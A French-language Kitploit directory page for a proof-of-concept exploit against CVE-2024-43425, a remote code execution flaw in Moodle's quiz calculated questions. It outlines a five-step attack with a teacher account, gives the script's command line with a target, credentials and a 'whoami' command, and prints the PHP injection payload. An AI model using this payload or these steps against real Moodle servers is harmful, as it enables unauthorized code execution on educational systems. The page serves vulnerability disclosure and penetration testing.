Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-43425-Poc | Kitploit
Outils/GitHubGitHub/aninfosec/cve-2024-43425-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubaninfosec/cve-2024-43425-poc

CVE-2024-43425-Poc

Voir le dépôt
il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-43425-Poc

Aperçu de la CVE ID CVE : CVE-2024-43425 Description : Moodle permet à un utilisateur authentifié de niveau enseignant de téléverser une question calculée malveillante via l'interface de l'éditeur de quiz. Impact : Exécution de code à distance (RCE) Cause : Assainissement inadéquat des charges utiles mathématiques dans les questions calculées, ce qui entraîne une injection de commandes via l'assistant de jeu de données.

##Prérequis :

Identifiants de connexion valides Accès à l'interface d'édition des quiz (généralement un rôle d'enseignant ou d'administrateur) cmid (identifiant du module quiz) et courseid connus

##Ce script effectue une attaque en 5 étapes :

Étape Description 1️ Récupérer le jeton de connexion (logintoken) 2️ Se connecter et établir une session Moodle valide 3️ Extraire sesskey, ctxid et la catégorie de la page d'édition du quiz 4️ Téléverser une question calculée spécialement conçue avec une charge utile RCE 5️ Déclencher la charge utile via la page de l'assistant de jeu de données

##Instructions d'utilisation

Prérequis : Python 3 Bibliothèques Python : requests, bs4 (BeautifulSoup)

root@kitploit:~
pip3 install requests bs4
root@kitploit:~
python3 exploit_cve_2024_43425.py \
  --url http://192.168.2.12/moodle \
  --username test \
  --password 'Test@123' \
  --courseid 1 \
  --cmid 1 \
  --cmd 'whoami'

##Charge utile utilisée :

root@kitploit:~
answer[0] = "(1)->{system($_GET[chr(97)])}"
Télécharger l’outil